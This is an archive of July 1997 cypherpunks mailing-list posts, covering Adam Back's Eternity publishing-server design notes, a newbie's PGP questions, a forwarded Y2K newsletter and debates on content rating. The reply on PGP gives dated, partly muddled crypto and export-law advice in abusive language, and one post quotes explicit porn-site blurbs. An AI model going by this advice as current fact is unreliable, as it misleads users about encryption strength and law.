put up that inline gif, Bob can get there first and put up a picture
of Barney until Alice notices and changes here pointer to point to the
picture she wants to point at.

So one solution would be to only accept documents which are signed by
the signator of the next domain up.  First come first served for the
virtual domains, the key signing the root dir of the virtual domain is
checked for each file or directory added under that.

Note even if the URLs are exdirectory, this need not be a problem as
you can just try the path with one directory stripped off.  Could be
done.  Is it worth it though?  It would add overhead to the server,
and there is minimal distruption someone can cause by sharing domains.

Perhaps it is desirable for someone to own a domain by virtue of being
the first person to submit a document with the hash of that domain
together with a key.

Comments?



The rest of this document is things on the to do list, if you feel
like helping out, or discover a limitation or bug.

To do list

It could do with some documentation.  And some stress testing.  The
file locking hasn't really been tested much.  NNTP may be flaky
as I made some mods since last debugging.

It would be nice to have a CGI based form to submitting documents.
Paste signed ascii armored document here.  Paste public key here.
Click radio buttons to choose options.  Enter URL here.  Type in
newsgroup to send to. Click here to submit through a chain of
mixmaster remailers.

There are a few bugs in the above system which ought to be fixed, but
this is alpha code, and they are on the TODO list.  One problem is
that the flags aren't signed.  A change of message format will fix
that in a later version.  The basic problem is that you can't check
the signature until you've decrypted and obtained the key.  At which
point you have to decrypt again.  A simple fix would perhaps to be to
put the public key outside the outer encryption envelope, but that is
unattractive in terms of allowing author correlation even by people
who don't have passphrases or don't know URLs.  Better would be to
just decrypt once, obtain the key if there is one, and then check the
sig again.  The server already keeps a database of PGP keys (not using
PGP's keyring) it stores keys by the SHA1 hash of the armored public
key and indexes against document URL hashes.  In this way public keys
do not need to be included in later document updates.  This could be
used to check a signature on the outer encryption layer.  Then only
the first post needs to decrypt twice (once without key available to
check sig, and then again with key available).  As a nice side effect
this protects against the PGP 0xdeadbeef attack (or 0xc001d00d as Gary
Howland has on his public key).

Another problem is when scanning a newsgroup, if the scanned message
can not be read it just stores it for later, so that when someone
accesses the server who knows the URL for that document it can be
decrypted and scanned for good signature and updated then.  However
the code only has a place holder for one document at the moment.  That
should be changed to a list and appropriate code to scan the list when
the document is accessed.  Once the newest document is found, the list
of documents to be scanned can be discarded and the newest article
stored against the hash in article.db.

Another more subtle problem is that the code may update documents in
the wrong order if multiple versions are posted to different news
groups.  The articles are scanned one group at a time.  So if the
groups are scanned in order alt.anonymous.messages followed by
alt.cypherpunks, and version 2 of the document is in alt.anon.msgs,
and version 1 in alt.cp, then it will update the document with the
older version.

Another to do list entry is the cache replacement policy.  There isn't
one, your cache will grow indefinately as documents are never removed.

Another thing to do is the altavista and dejanews lookup via HTTP by
message-id.  All the place holders are there.

If anyone wants to tackle any of the above tasks feel free.

The program dbmdump prints out .db files in ascii so you can see what
is there.

eternity -u is suitable to run as a cron job, or just at the console.

eternity -r resets everything, clears out the cache, empties database
etc.

eterity?url=http://blah.eternity/blah

is the form to use as a cgi.  It handles both GET and POST methods.

There is a log file for debugging, see eternity (the perl program) for
how to set different logging opitons. You can log most aspects of the
program for debugging purposes.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



Anybody willing to offer a bit of help to a cypher-newbie?  I'm trying to sort out a few of the basics:

(and if not answers, just a few pointers on where to go for info? ) Thnks.

1. PGP 5.0 -- good software? If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 different than 2.6.3i ?  Which is better?

2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i (and vice versa?)  Using RSA keys? 

3. I understand certain encryption s/w cannot be legally exported, I am aware that such s/w is nevertheless being used (and built) abroad.  My queries:  Is purely domestic use being threatened by the pending legislation?  Is it already illegal to send an encrypted msg out of the US? If so, is it illegal to receive an encrypted msg from outside the US?

4. How strong is strong?  My MS Explorer has the 128 bit encryption scheme to secure domestic financial transactions (such as credit cards). How "un-encryptable" is this? I read some recent postings here re difficulty of breaking 128 bit keys -- but this had reference to stronger methods of encryption than MS Explorer uses, right? So 128 bits is hard to break (umptyump years, terrawatts, etc.)? Then why does my PGP 5.0 software offer keys that are 768, 1024, etc. up to 4096 bits in length? Are these numbers on the same scale? 

Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS there some layman-understandable difference between these? 

5. Is international data traffic somehow monitored (or monitorable) to detect encrypted traffic?

Thanks for any help. 






From dlv at bwalk.dm.com  Mon Jul 28 18:05:46 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:05:46 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCA6FE.32CB0327@cptech.org>
Message-ID: 



James Love  writes:

> Paul Bradley wrote:
> >
> > > Tim, if you think that no web site are unambiguously inappropriate
> > for
> > > children, then you are in a state of denial.
> >
> > Please clarrify this for us: What sites would you classify as
> > unsuitable
> > for children?
>
>
> Let me you way out on a limb, and suggest the following entries, from an
> infoseek search for the workd PICS, would be unabiguously inappropriate
> for children.
>
> --------------------------------
>
> Pissing, Fisting and beastiality! We go to great lengths to bring you
> the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> Watch! Unfortunately, We can't bring you everything!
> 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
>
> Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
> The ultimate in anal, double anal, double penetration, sloppy oral, and
> gangbang action!!! 100% GUARANTEED free xrated pics Action!
>
> 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
>
> -------------------------------------------------

This sounds like the kind of stuff teenagers are interested in, have
little trouble finding in the "real world", and usually lose interest
in by the time they're 15.

They're probably the majority of the readers of these particular sites.

And your point is?..

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From vznuri at netcom.com  Mon Jul 28 18:07:33 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Tue, 29 Jul 1997 09:07:33 +0800
Subject: y2k problem *serious*
Message-ID: <199707290054.RAA21755@netcom13.netcom.com>



some people have talked about the y2k problem here, the 
"year 2000 problem". as programmers know, is the
name given to the glitches that are caused by software
malfunctioning because it only used 2 characters for the
date field. I have mentioned that I think government
agencies are going to be particularly hard-hit by this 
situation. I envisioned delays in payments etc. of something like
a few weeks or so.

however some recent new data and analysis by someone
named Gary North causes me to rethink my position.
it's somewhat alarmist, but he's got some excellent evidence.
he believes the year 2000 problem is vastly more serious
than anyone has realized. he thinks it may even lead to
bank panics and instabilities in the entire worldwide
economic system.

he quotes Yourdon, a very respectable software professional, who
talks about the domino effect in software such that even 
if parts of it are fixed, the erroneous sections can cause
the system as a whole to fail.

I suspect that we will be seeing some major, major news
events related to y2k over the next year, all the way up
to 2000.

more info on this perspective can be found at 
  www.garynorth.com

this will be an incredibly important issue for virtually all
programmers in the information field. (some cryptoanarchists
here might rejoice at the potential here for mass social 
disruptions. may you live in interesting times.)



   
   The Yourdon Report
   Vol. 1, No. 4, June 1997. © Copyright 1997 by Cutter Information
   Corp.
   
The Personal Consequences of Year 2000

   Dear Colleague,
   
   
   
   Where will you be on New Year's Eve, 1999? If you're involved in the
   computer field in any way, there's a high likelihood that you'll be
   frantically working on the last-minute details of a year-2000 project.
   Yes, I know, not everything is written in COBOL and not every hotshot
   Java programmer is interested in the problem. But if you're an
   application programmer who normally develops business applications in
   Visual Basic, PowerBuilder, Smalltalk, or COBOL, there's a good chance
   that your organization will give you a temporary assignment to help
   out with converting mission-critical systems that are too important to
   fail. If you're a new-age Java programmer in a Silicon Valley startup
   company, maybe you'll be able to ignore the whole thing; but for many
   of the people who write software, 1998 and 1999 will be the years of
   year-2000 death march projects.
   
   I assume that anyone who reads this newsletter is familiar with the
   basics of the year-2000 problem; I won't bore you with a repetition of
   the details, or how we managed to get ourselves into this state. What
   I do want to talk about is the notion that it's our organizations that
   got themselves into this state, and that we have to make sure we
   distinguish between the problems and demands of our organizations,
   versus the problems and demands of our own lives and the lives of our
   families and friends.
   
   First, let's deal with the basic moral issue of culpability and
   responsibility. As you well know, there are some enormous legacy
   mainframe systems that will fall over and collapse on January 1, 2000,
   unless a thorough, expensive, and time-consuming effort is made to
   make them year-2000 compliant. But it's highly unlikely that you wrote
   the original code for those systems; indeed, the original programmers
   are probably long gone, maybe even dead. Or, ironically, those
   programmers may have been promoted: They may be your boss, or your
   boss's boss, or the CIO of the whole shop.
   
   In the rare case where you actually worked on the applications that
   now require year-2000 maintenance, chances are that nobody paid
   attention 15-20 years ago if you recommended that the date be coded
   with a four-digit year field. You were told how expensive memory was,
   and that none of these systems would last through the 1970s, or the
   1980s, or the 1990s.
   
   In other words, with very, very few exceptions, the year-2000 problem
   is not your fault. Maybe we should have been smarter 20 years ago, and
   maybe we should have staged a mass revolt when our business users told
   us that they didn't want to spend the money for an extra two bytes of
   storage every time a date field was required within an application.
   Maybe they didn't really understand the significance of the short-term
   tradeoff that we made on their behalf. But after all, it was their
   money and their systems. In any case, there's a good chance that you
   can look at yourself in the mirror and honestly say: It's not my
   fault.
   
   Perhaps you feel that, as a member of a more-or-less professional
   category of "knowledge" workers, we all share collective
   responsibility for letting society get itself into the year-2000
   dilemma. After all, what if mechanical engineers told us that a flaw
   in their calculations would lead to bridges and buildings falling over
   and crashing on January 1, 2000? What if they collectively shrugged
   their shoulders and said, "Well, it's not our fault. Newton, Galileo,
   and Einstein made a few miscalculations in their basic laws, and we
   just realized the problem."
   
   From that perspective, none of us really wants the IT community to end
   up with a huge black eye, or with the blame for having caused a
   massive economic and social disruption associated with year-2000
   software problems. I'm willing to contribute some time and energy to
   help solve the problem. I'm willing to say, "Well, it doesn t really
   matter whose fault it is at this point. The most important thing is to
   fix the problem, and then move on."
   
   But what if the problem cannot be fixed? What if January 1, 2000,
   arrives and half of your company's software has not been converted?
   What if your organization collapses as a result? At that point, where
   does your responsibility lie? The interesting thing about this is that
   almost every organization could have fixed its year-2000 problem if it
   had begun addressing the problem in 1995 or before. But if the
   year-2000 conversion team is just forming now, in mid-1997, then the
   conversion almost certainly won't be finished when New Year's Eve
   rolls around two years from now. And that part of the problem is the
   fault of senior management, which was too busy worrying about other
   issues to focus on the biggest software project of all time.
   
   Let me stop for a moment and address a basic point: Many software
   professionals believe that the year-2000 problem will be somewhat
   annoying, and somewhat expensive to fix, but they can't bring
   themselves to believe that it could be a major, fundamental problem.
   It's like asking the residents of Southern California if they really
   believe that they're going to wake up one day and find that the San
   Andreas Fault has finally ruptured, and that California is now an
   island floating in the general direction of Hawaii. "We've lived with
   plenty of earthquakes, and some of them have been pretty serious,"
   these folks will tell you. "Someday, the Big One will hit, but I
   really can't believe it's going to happen this year, or next year, or
   the year after."
   
   So here's the question: Do you believe the year-2000 problem is going
   to be really serious? Do you think it could shut down telephone
   service, banking systems, and airline systems for a few days, or a few
   weeks, or even a few months? I've been thinking about all of this
   during the last several months, and I'm becoming increasingly worried
   about the "ripple effect" problems that will be difficult to
   anticipate, and almost impossible to avoid. It won't be the end of
   civilization, but the year-2000 problem could indeed trigger a
   depression on the scale of the Great Depression in the U.S. during the
   1930s. For example, consider XYZBank, which has 300 million lines of
   legacy code. Assume that XYZ has the time and resources to convert 200
   million lines, and it has done a triage to ensure that the
   mission-critical systems are converted. That leaves 100 million lines
   of unconverted code that won't run at all, or will spew out gibberish.
   Since this unconverted code is associated with noncritical systems, it
   won't have a fatal impact on XYZ though it could incur a nontrivial
   cost. My real concern is that the applications XYZ considers
   noncritical might be very critical to some of XYZ's customers,
   partners, suppliers, etc. So it's quite possible that XYZ's failure to
   convert some of its software will cause little, tiny ABCWidget Company
   to go bankrupt, which causes slightly larger DEF Corp. to fold, and so
   on.
   
   Meanwhile, XYZ can't operate entirely alone; without electricity,
   phone service, and water, the offices can't function; without
   transportation services, none of its employees can come into work, and
   none of its customers can visit the bank to transact business. Let's
   assume for a moment that these basic utilities do continue operating
   properly after January 1. But what if the Federal Reserve Bank,
   S.W.I.F.T., and all the other banks that XYZ interacts with are having
   problems? What if XYZ's ability to print monthly bank statements
   depends on PQRPaper Corp. supplying laser-printing paper on a "just in
   time" basis? And what if PQR has a staff of three overworked
   programmers who maintain an ancient legacy system written in assembly
   language? If PQR stops shipping paper, then XYZ stops sending bank
   statements. Not forever, perhaps just for a month or two, but that's
   enough to cause a lot of confusion.
   
   There's also going to be a lot of confusion resulting from bugs
   injected into the converted programs. If XYZBank converts 200 million
   lines of code between now and December 31, 1999, then there will be an
   enormous amount of testing, and with that much code it's inevitable
   that some bugs will slip through. Maybe not fatal bugs that delete the
   database or shut down the bank's systems, but perhaps the kind of bug
   that will send incorrect monthly statements to 100,000 of the bank's 3
   million customers. A problem like this might not be noticed until
   January 31, or when the year-end statements are produced on December
   31, 2000.
   
   The problem with 100,000 incorrect statements is that it will generate
   100,000 angry phone calls. Indeed, officials at the Social Security
   Administration (SSA) are quoted as saying that if the SSA has a 1%
   error rate in its retirement checks and other benefits, it will lead
   to somewhere between 43 and 50 million phone calls, starting the day
   after the checks are mailed. If the problem isn't resolved right away,
   then those people are likely to call back the next day, and the day
   after that, and the organization is likely to be in a state of
   paralysis.
   
   Back to the banks again: Do I really think that Citibank, Chase,
   Chemical, and BankAmerica (along with all the huge Japanese and
   European banks) are going to shut down on January 1, 2000? No, of
   course not. But I won't be surprised if the XYZSavings and Loan in
   South Poobah discovers that it can't process deposits and withdrawals
   for a week or two. That problem might cause a run on the bank, or an
   outright bank failure, and similar problems are likely to occur for a
   number of other small organizations as well. General Motors (GM) won't
   go bankrupt, but ABCWidget and PQR Paper could.
   
   Indeed, if ABCWidget goes bankrupt, it could cause serious problems
   for large companies like GM. Suppose ABC is one of the 100-odd
   companies that supply parts for GM cars and the widgets manufactured
   by ABC are an essential element of the transmission system. Because of
   the lean manufacturing system used throughout U.S. industry today,
   there's a good chance that GM doesn't have an inventory of widgets;
   ABC is supposed to deliver the appropriate number of new widgets to
   the GM plant every day. To ABC's surprise, its computers fail on
   January 1, 2000, and its widget production line shuts down. A week
   later, GM's production line grinds to a halt until it can find a
   replacement widget manufacturer. Meanwhile, GM's factory workers are
   furloughed without pay.
   
   By now, I'm sure you get the drift of my concerns. The interesting
   thing is that while software professionals and systems analysts are
   well-equipped to understand the reasons why the software could fail,
   and the possible consequences of those failures, they prefer to deny
   it. I wasn't aware of this until I watched Peter de Jager's year-2000
   presentation at our recent Summit 97 conference, which ended with a
   question to the audience: "How many of you really believe these
   problems will occur?" To my surprise, a significant number of people
   raised their hands to indicate they did NOT believe that serious
   year-2000-related failures would occur. They couldn't disagree with
   any of the technical points that de Jager raised, just as you probably
   won't find anything fundamentally wrong with my arguments here. But de
   Jager's audience, and many of the people reading this newsletter,
   don't want to believe things could be this bad. "Surely," people will
   argue, "companies will find a way to solve this problem." Given our
   track record for normal software projects over the past 30 years, this
   argument borders on hysterical optimism. More likely, it's cognitive
   dissonance: If the facts disagree with the conclusions you were hoping
   for, then ignore the facts.
   
   What does all of this have to do with your job? Well, first you need
   to realize that a "denial of reality" may be taking place within your
   own organization today. Has your CEO or board of directors made a
   public commitment that all of the organization's systems will be
   year-2000 compliant, and that there is a detailed plan for coping with
   the organization's non-year-2000-compliant vendors, suppliers,
   customers, etc.? Do some arithmetic: If your company has 100 million
   lines of code in its application portfolio, then as of June 1, it
   would need to convert more than 100,000 lines of code per day, every
   day, in order to finish the job on time. Do you see the plans, the
   people, the tools, and the management commitment to make that happen?
   
   If not, what will be the impact on your job? Chances are that your
   company will go into panic mode sometime in 1998, halt all of its
   development work, and assign everyone in the IT department to work on
   year-2000 conversions. When I say everyone, I mean everyone.
   Secretaries will be drafted into the testing effort, and the managers
   will be expected to begin writing COBOL code. Is that the kind of
   environment, with everyone putting in double overtime, that you want
   to work in? And if the year-2000 conversion isn't finished on time,
   who will be blamed? You can be sure there will be lawsuits; are you
   sure you'll escape the wrath of the lawyers?
   
   If your company's year-2000 problems are very severe, what happens if
   it goes bankrupt? Will you be able to get another job? (An even more
   interesting question: At that point, will anyone want to admit that he
   or she is a programmer, or will it be a social stigma after January 1,
   2000?) If you're out of work for six months, do you have enough money
   in the bank to support your family?
   
   Speaking of banks, what if your savings account is in XYZSavings and
   Loan of South Poobah? If depositors begin to worry about XYZ's
   year-2000 compliance in late 1999, will they begin withdrawing all of
   their money? If they do, will you be able to withdraw your money on
   January 3, 2000? Indeed, given the delicate balance of the fractional
   reserve system used by banks, it doesn't take a very large percentage
   of panicky customers to cause a bank run. The worst-case scenario in
   this area is pretty scary -- it might not be just the XYZSavings and
   Loan that suffers a bank run, but the big banks too. If the banks
   close for more than a couple of days, then how does the government
   collect taxes? If the government can't collect taxes, what happens to
   the value of its bonds, T-bills, and other financial instruments?
   
   Meanwhile, how many non-year-2000-compliant railroad and trucking
   companies will it take to disrupt the transportation infrastructure?
   While you're thinking about this, keep in mind another aspect of the
   lean manufacturing system -- the average grocery market, especially in
   urban areas, has to be restocked every 72 hours.
   
   I don't have answers for all of these questions, and I spend a portion
   of each day wanting to believe that none of these crises will occur.
   But I can't find a way to deny the possibility that they could occur,
   not exactly in the way I've described, but as a series of
   domino-effect problems that ripple through society. And if my software
   experience allows me to anticipate some of this, then your experience
   should provide similar insights. Think about this, and try very hard
   to avoid the cognitive dissonance problem.
   
   If the problem is anywhere near as bad as I think it could be, then
   you have to think very carefully about your loyalties and priorities.
   Will your employer get first call on your loyalty, or will it be your
   family and loved ones? On January 1, 2000, will you be at your
   keyboard, still converting two-digit year fields? Think about this
   now, while things are still calm. It won't be so easy two years from
   now. Ciao!
   
   Ed
   Internet: ed at yourdon.com
   Web site: http://www.yourdon.com






From dlv at bwalk.dm.com  Mon Jul 28 18:09:23 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:09:23 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: 
Message-ID: <6RRkae2w165w@bwalk.dm.com>



Ray Arachelian  writes:

> On Sat, 26 Jul 1997, Tim May wrote:
>
> > As long as ratings are completely and full uncoerced, fine. It's the "crap"
> > and "consequences" you speak of that worry me. If one of the pieces of crap
> > is  a $100K civil fine for mislabelling, or one of the consequences is 5
> > years in jail, then it ain't a voluntary system, is it?
> >
> > --Tim May
>
> Of course it's voluntary, citizen unit Tim C. May #0845676FCXV3, it's as
> voluntary as filing an 1040 form, and it's certainly as voluntary as
> communist countries had voluntary work for teens who would voluntarily go
> to work on farms durring their summer vacations.

And let's not forget the thousands of volunteers who helped clean up Chernobyl.
A minute of silence...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Jul 28 18:11:02 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 29 Jul 1997 09:11:02 +0800
Subject: Thomases (Re: Yet another self-labeling system (do you remember -
In-Reply-To: <199707281729.SAA00614@server.test.net>
Message-ID: 



Adam Back  writes:
>
> James Love  writes:
> > Tim May  writes:
> > > Such as the multiple years in prison that each of the Thomases got?
> >
> >      I don't know the Thomases, but did they get "multiple years in
> > prison" for mislabeling?  Or for something else?
>
> The Thomases ran an adult BBS and video business in California.  The
> fedz busted them by the following moves:
>
> 1. Fed stooge posts Thomases some kiddie porn video tapes
> 2. Fedz kick down the door 30 seconds later before Thomases even knew
>    they'd received any mail
> 3. Fedz tried Thomases in some other state with strong puritanical
>    tendencies
> 4. Fedz locked up Thomases and threw away the key.

it's important to note that the Thomases were acquited on most charges,
including all child porn charges, but were convicted on "minor" obscenity
charges.

The same the Waco survivors were acquitted of almost everything but the
"minor" weapond possession and locked up for many, many years based on that.

Apparently the juries felt that if the fedz had gone to the trouble of
putting together a case, they're obliged to convict of something "minor".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From h_tuttle at rigel.cyberpass.net  Mon Jul 28 18:33:45 1997
From: h_tuttle at rigel.cyberpass.net (Harry Tuttle Remailer)
Date: Tue, 29 Jul 1997 09:33:45 +0800
Subject: NSA cracker - how many TW
In-Reply-To: <19970728193101.4574.qmail@squirrel.owl.de>
Message-ID: <199707290121.SAA09986@rigel.cyberpass.net>




On Mon, Jul 28, 1997 at 07:31:01PM -0000, Secret Squirrel wrote:

> IBM have published a communications scheme that claims to recover
> energy normally lost - it was on their website a few months ago.
> I skipped reading it at the time because it sounded dotty.

A few years ago an engineer at one of the weapons labs found
a new solution to Maxwells equations.  This was briefly
reported in the general press, and seemed to imply that the
solutions found allowed for soliton-like wave packets. 

Some time later there were experiments reported using water
tanks with specially shaped wave generators that were trying
to create a water-wave analog.  The article describing these
experiments speculated, if I remember correctly, that
special antenna geometry and manipulation of the input
signal might be used to generate a electromagnetic wave
equivalent.  There was also brief speculation about uses for
such a device -- beamed energy packets, for communications,
or, at high power, for energy transfer.  Or weapons. 

Anyone else remember this?







From cavery at ccnet.com  Mon Jul 28 18:43:26 1997
From: cavery at ccnet.com (Chris Avery)
Date: Tue, 29 Jul 1997 09:43:26 +0800
Subject: Queries from a Cyper-newbie?
Message-ID: <01BC9B83.ACB20460@h97-158.ccnet.com>



1. Thanks for the comments. I indeed meant "crackable" when I said "unencryptable", as you surmised. I'll learn.

2. I don't precisely know what it means to "change hashes" on RSA keys, though I get the drift. Where can I go for details?

3. I'll do the www.crypto.com thing, thanks for the pointer. This may be a critical last stand on the privacy of communications issue. What gets me is the blind arrogance with which govt "servants" assume that their (even if legitimate) pursuit of crime somehow excuses or justifies diminishing privacy rights for everyone else. There must be some kind of ratio: 1,000,000 rights diminished for  1 criminal activity detected?  Doesn't make sense. 

Thnks.


----------
From: 	bennett_t1 at popmail.firn.edu[SMTP:bennett_t1 at popmail.firn.edu]
Sent: 	Monday, July 28, 1997 5:35 PM
To: 	Chris Avery
Cc: 	cypherpunks at toad.com
Subject: 	Re: Queries from a Cyper-newbie?

-----BEGIN PGP SIGNED MESSAGE-----

At 03:45 PM 7/28/97 -0700, you wrote:
>Anybody willing to offer a bit of help to a cypher-newbie?  I'm 
trying to sort out a few of the basics:

Well as long as you ask like that instead of what most newbies do, 
such as try and subscribe by sending "Add me to the mailing list" to 
the list.

>1. PGP 5.0 -- good software?

It's better integrated for Mac Lusers and Windows 95ers.  It is, 
however, flawed in some respects.

>If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 
different than 2.6.3i ?  Which is better?

2.6.3i cannot use CAST, or (who would want to , it's DES!) Triple-
DES.  It does however, can use other hashes with RSA, thanks to 
someone's discovery on PGP-USERS.  2.6.3i is dos native, and complex. 
 A shell integrates nicely, but it's still not the same.

>2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i 
(and vice versa?)  Using RSA keys? 

ONLY using RSA keys.  DSS/Diffie-Hellman support is being added to 
old PGP's.  RSAREF is used in PGP 5.0 .  MPILIB, Phil Zimmermann's 
original PGP RSA algorithm implementation is used in international 
versions.  It's becuase of RSA's patent stuff.

>3. I understand certain encryption s/w cannot be legally exported, I 
am aware that such s/w is nevertheless being used (and built) abroad. 
 My queries:  Is purely domestic use being threatened by the pending 
legislation?  Is it already illegal to send an encrypted msg out of 
the US? If so, is it illegal to receive an encrypted msg from outside 
the US?

Unless it is the "shitty 40 bit" type.  It can be built abroad, for 
example, IDEA was made in switzerland, or something like that..., PGP 
2.6.3i was made legally, I think.  Domestic use is being threatened 
by Nazi Motherfuckers like Billy-Bob Clinton [spit], The FBI, and the 
NSA.  Oppose them.  Go to www.crypto.com and do some of the stuff 
there.  Sending and recieving mail from the outside of the US *is 
legal*.

>4. How strong is strong?  My MS Explorer has the 128 bit encryption 
scheme to secure domestic financial transactions (such as credit 
cards). How "un-encryptable" is this? I read some recent postings 
here re difficulty of breaking 128 bit keys -- but this had reference 
to stronger methods of encryption than MS Explorer uses, right? So 
128 bits is hard to break (umptyump years, terrawatts, etc.)? Then 
why does my PGP 5.0 software offer keys that are 768, 1024, etc. up 
to 4096 bits in length? Are these numbers on the same scale? 

Unencryptable?  What the fuck are you talking about?  If you mean 
crackable, let's just say it'd take several time the age of the 
Universe to crack it.  The RSA keys are weaker than symmetric 
cyphers, unless we're talking about DSS/Diffie-Hellman keys with 
4096bits.  They are not on the same scale.

>Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS 
there some layman-understandable difference between these? 

Well, RSA's are patented and RSA is really anal with their patents.  
DSS/Diffie-Hellman keys are unpatented.  You can change hashes on RSA 
keys (RIPEM160, MD5 [was broken already], and SHA-1).  But to use 
those RSA's with older PGP's, use only MD5.

>5. Is international data traffic somehow monitored (or monitorable) 
to detect encrypted traffic?

It can be detected that you're using encryption.  Breaking PGP is 
another thing.

If any other cypherpunks want to correct me here, do so.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9065B0+FhmmTrSJAQEdsgQAmRAJR7CxQCy4Wfny8YM6oJ3chLKnJCnA
E45EElRsAVS8zyAWy06/ZJFG8XjInjgAzmx+fRvGoN0qHvObyFfrDMPML0w+405s
cddgcApc0DfbjP8narKHVBQnbOhwuSjdDbwTbFF9F+EG0OkXewgYKXS/QnS11ov/
ofr4ooPGcr0=
=rowH
-----END PGP SIGNATURE-----










From enoch at zipcon.net  Mon Jul 28 18:51:01 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Tue, 29 Jul 1997 09:51:01 +0800
Subject: Eternity (was Re: CPAC, XtatiX, and the Censor-State)
In-Reply-To: <199707282148.WAA01753@server.test.net>
Message-ID: <19970729014252.9662.qmail@zipcon.net>



Adam Back  writes:

 > You two must've been snoozing when I posted the Eternity
 > service announce back in April.  I implemented something
 > which does pretty much exactly what you're discussing.  I'll
 > include a repost below.

I skimmed it.  "Eternity" makes me think of caskets and people in
dark suits with expensive prices. :)

 > So beyond implementing it, which I've done a first cut of,
 > the next problem is getting people to use it, to advertise
 > it so that people know it exists, to get people to put lots
 > of "interesting" (= otherwise censored, so possibly pretty
 > interesting) materials on it, so that people find it
 > interesting to browse documents on it.

Hmmm.  I would certainly not want to be the only person running a
server when the "interesting" materials got posted.

 > Realtime uncensorable web courtesy of altavista :-)

I like it.

 > System requirements are:

 >   unix
 >   perl5
 >   news source (local news spool or access to nntp server)
 >   pgp (2.6.x)
 >   web space
 >   ability to install cgi-binaries
 >   ability to schedule cron jobs a plus but not essential

Hey - I've got all those things on my new Zipcon shell account
including 10 meg of disk and my own cgi-bin dir.

 > If someone wants to set one up to demo, and post the URL
 > that would be useful.

I'll see if I can get it to work.  Perhaps I can be Jim Bell's
cellmate if things don't work out.  :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}







From nobody at REPLAY.COM  Mon Jul 28 19:06:46 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 29 Jul 1997 10:06:46 +0800
Subject: Will Spam For Food (Not Spam) / Re: Spare DigiCa$h? / Re: AN APPEAL TO THE HUMAN RACE
Message-ID: <199707290149.DAA04300@basement.replay.com>



  I find it interesting that the cynical/sinister/paranoid cypherpunk
list members seem to be the ones who are most able to predict the
future trends of events on the Internet, particularly in areas which
surround very major and very minor issues. The Tim May's and Declan
McCullagh's shed interesting light on the future course of major events
while the Monger's and Dog Boy's turn their precognitive abilities in
the direction of the more mundane aspects of the Internet as a
reflection
of humanity/society.

  The "Spare DigiCa$h" post gave me pause to reflect how long it will be
before technology is sufficiently developed that when we hit our 
key, "CyberBums" will approach and offer to clean our video monitor with
an oily rag. Will we be cursed for offering CyberBums a form of e$pare-
change which cannot be spent on email-order wine? Will laws be passed
which prevent CyberBums from approaching us for e$pare-change within two
relay hops of an eCa$h site? Will CyberBums sort through our killfile
dumpsters for eTra$h?

  Was it Kevin Mitrick whose conditions of probation required him to
stay
off the Internet and away from computers? 
  Will the future bring laws which permit restraining orders against
individuals accessing certain parts of the Internet? Sex offenders/sex
sites; burglars/financial sites; pedophiles/children's sites?
  It seems to me that increasing regulations and laws surrounding the
access and use of the Internet will require strict laws requiring the
user to be able to show verification of identity/age/criminal history/
financial history/(approved government) reputation capital, and all
manner of information to place us all in categories needed to monitor
our compliance with laws and regulations.

  Once browsers are required by law to support a certain rating system
and children manage to get around it, there will no doubt be laws
passed requiring fascist monitoring of who is actually using the
software.(And LEA's who demand that phone companies provide them with
the ability to trace/locate cellular phone users will undoubtably want
the same capabilities with Internet users, in a war against anonymity.)

  There will be no shortage of James Love's, Kent Crispin's and Hallam-
Baker's to call for "reasonable compromise" in order to facilitate 
fascist censorship on things which we all "unambiguously" agree on
(by _their_ way of thinking, of course).
  The only way to prevent the atrocities perpetrated upon our rights
to freedom and liberty in physical space from becoming the norm in
CyberSpace is to fight against the systems, the governments and the
individuals who are striving to extend their fascist control by
building ElectroMagnetic Curtains in CyberSpace, is to prepare now
to fight against Electronic Oppression--to prepare for an Electronic
Revolution--now.

	CyhperDog
	~~~~~~~~~
{This post contains an Email Rating System classification of:
 Redundant Cowardly Anonymity.}
(This means than an Anonymous Coward is posting in reference to one
 of his/her own posts under a second anonymous pseudonym.)

--------------------------------
The first Anonymous Coward wrote:
> amaninneeeedeer443553444 at aol.com wrote:
> > PLEASE HELP
> 
>   What follows is an example of the CyberBums predicted by one of the
> list members some time back. This A(ssh)OL(e) is using his spambot to
> "Spare change?" millions of people at a time and it turns out that
> besides his required, basic tale of woe, that he also has the proverbial
> parent who is dying from cancer.
> 
>   Don't send him any money.
>   Send *ME* money. I will use it to buy enough cheap wine to enable me
> to throw up on my shoes.
>   (Wouldn't you rather send your hard-earened money to an honest drunk
